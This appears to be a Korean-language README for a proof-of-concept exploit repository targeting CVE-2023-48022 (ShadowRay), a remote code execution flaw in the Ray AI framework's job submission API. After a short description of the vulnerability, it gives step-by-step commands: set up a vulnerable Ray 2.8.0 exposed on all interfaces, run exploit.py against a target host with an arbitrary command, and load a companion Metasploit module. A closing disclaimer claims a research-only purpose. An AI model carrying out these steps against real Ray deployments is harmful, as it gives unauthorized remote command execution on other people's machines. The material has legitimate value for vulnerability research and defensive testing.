
ShadowRay RCE POC (CVE-2023-48022)
이 익스플로잇 스크립트와 PoC는 vsociety에서의 심층 CVE 분석을 위해 작성되었습니다.
Ray 프레임워크는 Python 기반 AI 및 머신러닝 애플리케이션을 위한 필수 도구로서 상당한 보안 문제에 직면했습니다. 본질적으로 Ray는 AI 및 빅데이터 프로젝트를 작업하는 사람들을 위한 스위스 아미 나이프와 같습니다. CVE-2023-48022로 식별된 이 취약점은 특히 작업 제출 API에 영향을 미칩니다. 공식 설명에 따르면 이 결함은 원격 공격자가 임의 코드를 실행할 수 있게 하여 해당 Ray 버전을 사용하는 시스템에 상당한 위험을 초래합니다. 이 취약점의 발견은 특히 방대한 데이터와 컴퓨팅 성능을 다루는 AI 및 ML 프로젝트에 필수적인 소프트웨어 프레임워크에서 강력한 보안 프로토콜의 중요성을 강조했습니다.
먼저 Ray를 설치합니다:
pip3 install -U "ray[default]"==2.8.0
그런 다음 Ray를 시작합니다:
ray start --head --dashboard-host=0.0.0.0
Python 익스플로잇을 실행합니다:
python3 exploit.py --host http://192.168.150.16:8265 --cmd '<cmd>'
Ruby 파일을 Metasploit의 관련 폴더에 복사합니다:
cp ray_job_rce.rb /usr/share/metasploit-framework/modules/exploits/multi/misc/
msfconsole로 Metasploit을 실행하고, 추가한 모듈을 찾을 수 없으면 reload_all로 모듈을 다시 로드합니다.
use exploit/multi/misc/ray_job_rce를 선택할 수 있습니다.
필요한 옵션(RHOST, RPORT, COMMAND 등)을 설정하고 exploit 명령으로 익스플로잇을 실행합니다.
이 익스플로잇 스크립트는 연구 및 효과적인 방어 기술 개발을 위해서만 작성되었습니다. 악의적이거나 승인되지 않은 활동에 사용하기 위한 것이 아닙니다. 스크립트의 작성자와 소유자는 이 소프트웨어로 인한 오용이나 손해에 대한 책임을 부인합니다. 사용자는 이 소프트웨어를 책임감 있게 사용하고 관련 법률 및 규정을 준수해야 합니다. 책임감 있게 사용하십시오.